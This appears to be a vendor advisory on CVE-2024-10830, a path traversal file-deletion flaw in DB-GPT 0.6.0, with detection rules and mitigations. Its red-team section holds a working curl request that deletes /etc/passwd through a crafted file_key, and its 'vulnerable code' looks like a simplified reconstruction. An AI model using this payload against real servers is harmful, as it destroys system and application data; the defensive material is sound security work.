CVE-2024-10830
Executive Summary
CVE-2024-10830 is a critical Path Traversal vulnerability in the eosphoros-ai/db-gpt version 0.6.0, specifically within the /v1/resource/file/delete API endpoint. The vulnerability allows an unauthenticated attacker to delete arbitrary files on the server by manipulating the file_key parameter, which is not properly sanitized. With a CVSS score of 8.2, this flaw poses a high risk to data integrity and availability, potentially leading to denial of service or system compromise. No patch is currently available, and exploitation is trivial due to the lack of input validation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Python package db-gpt (eosphoros-ai/db-gpt). As an open-source project, the supply chain risk is elevated because the vulnerable component may be integrated into larger systems without adequate security review. Organizations using this package should immediately assess their exposure and consider temporary mitigations until an official patch is released.
CVSS Breakdown & Threat Level
- CVSS Score: 8.2 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: High
- Availability Impact: High
Threat Level: Critical. The vulnerability is easily exploitable remotely without authentication, and the impact on integrity and availability is severe. An attacker can delete critical system files, configuration files, or application data, leading to service disruption or complete system compromise.
Deep Dive & Mechanics
The vulnerability resides in the /v1/resource/file/delete endpoint of the DB-GPT application. The file_key parameter is used to specify the file to be deleted. Due to insufficient input validation, an attacker can supply a path traversal sequence (e.g., ../../etc/passwd) to delete files outside the intended directory.
Root Cause: The application does not sanitize or validate the file_key parameter against path traversal attacks. It directly passes the user-supplied value to a file deletion function without checking for directory traversal patterns or restricting the deletion to a specific directory.
Attack Flow:
- The attacker sends a POST request to
/v1/resource/file/deletewith a craftedfile_keyparameter. - The application processes the request and deletes the file at the specified path.
- The attacker can delete any file on the server, including critical system files, application configuration files, or user data.
Example Request:
POST /v1/resource/file/delete HTTP/1.1
Host: target.com
Content-Type: application/json
{
"file_key": "../../etc/passwd"
}
Vulnerable vs. Patched Code
Vulnerable Code (db-gpt 0.6.0):
@app.route('/v1/resource/file/delete', methods=['POST'])
def delete_file():
data = request.get_json()
file_key = data.get('file_key')
# No sanitization or validation
os.remove(file_key)
return jsonify({"status": "success"})
Patched Code (Hypothetical Fix):
import os
from werkzeug.utils import secure_filename
@app.route('/v1/resource/file/delete', methods=['POST'])
def delete_file():
data = request.get_json()
file_key = data.get('file_key')
# Sanitize the file_key to prevent path traversal
safe_key = secure_filename(file_key)
# Restrict deletion to a specific directory
base_dir = '/app/uploads/'
full_path = os.path.join(base_dir, safe_key)
# Ensure the resolved path is within the base directory
if os.path.realpath(full_path).startswith(os.path.realpath(base_dir)):
os.remove(full_path)
return jsonify({"status": "success"})
else:
return jsonify({"error": "Invalid file path"}), 400
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running DB-GPT 0.6.0 with the
/v1/resource/file/deleteendpoint exposed. - Network access to the target.
Exploitation Steps:
- Identify the target endpoint:
POST /v1/resource/file/delete - Craft a payload to delete a critical file, e.g.,
/etc/passwd:{ "file_key": "../../etc/passwd" } - Send the request using
curl:curl -X POST http://target.com/v1/resource/file/delete \ -H "Content-Type: application/json" \ -d '{"file_key": "../../etc/passwd"}' - Verify deletion by attempting to read the file or observing system behavior.
Advanced Exploitation:
- Delete application configuration files to cause denial of service.
- Delete database files to corrupt data.
- Chain with other vulnerabilities for privilege escalation.
Blue Team (Detection & Defense)
Detection:
- Monitor for POST requests to
/v1/resource/file/deletewith suspiciousfile_keyvalues containing../or absolute paths. - Alert on file deletion events for critical system files (e.g.,
/etc/passwd,/etc/shadow, application configs). - Use file integrity monitoring (FIM) to detect unauthorized deletions.
Defense:
- Implement input validation and sanitization for the
file_keyparameter. - Restrict file deletion to a specific directory using a whitelist approach.
- Apply the principle of least privilege to the application process.
- Use a Web Application Firewall (WAF) to block path traversal patterns.
- Monitor logs for unusual file deletion activities.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/v1/resource/file/deletewithfile_keycontaining../or absolute paths. - Unusual outbound traffic from the server after file deletion.
File System IOCs:
- Deletion of critical system files (e.g.,
/etc/passwd,/etc/shadow). - Missing application configuration files.
- Unexpected empty directories.
Log IOCs:
- Application logs showing file deletion errors or successful deletions of unexpected files.
- System logs (e.g.,
auditd) recordingunlinkorremovesyscalls for sensitive files.
Detection Engineering
YARA Rule
rule CVE_2024_10830_Path_Traversal_Delete {
meta:
description = "Detects path traversal attempts in file_key parameter for CVE-2024-10830"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-10830"
strings:
$path_traversal = /\.\.\// nocase
$file_key = "file_key" nocase
condition:
$file_key and $path_traversal
}
Sigma Rule
title: CVE-2024-10830 Path Traversal in DB-GPT File Delete
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in the file_key parameter of the /v1/resource/file/delete endpoint
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/v1/resource/file/delete'
cs-uri-query|contains: 'file_key'
keywords:
- '\.\./'
- '\.\.\\'
condition: selection and keywords
falsepositives:
- Legitimate use of relative paths in controlled environments
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-10830 Path Traversal in DB-GPT File Delete"; flow:to_server,established; content:"POST"; http_method; content:"/v1/resource/file/delete"; http_uri; content:"file_key"; http_client_body; pcre:"/\.\.\//Ri"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the endpoint: If possible, disable the
/v1/resource/file/deleteendpoint until a patch is available. - Restrict access: Use network segmentation or firewall rules to limit access to the API to trusted IPs only.
- Implement input validation: Add server-side validation to reject path traversal patterns (e.g.,
../, absolute paths). - Apply least privilege: Run the application with minimal file system permissions to limit the impact of file deletion.
Long-Term Fix:
- Upgrade to a patched version of DB-GPT once released.
- Implement a secure file deletion mechanism that uses a whitelist of allowed file paths.
- Conduct a security audit of the entire application for similar vulnerabilities.
Workaround:
- Use a reverse proxy (e.g., Nginx) to block requests containing
../in thefile_keyparameter:location /v1/resource/file/delete { if ($request_body ~* "\.\.") { return 403; } proxy_pass http://backend; }
Valters IT
Securing Digital Frontiers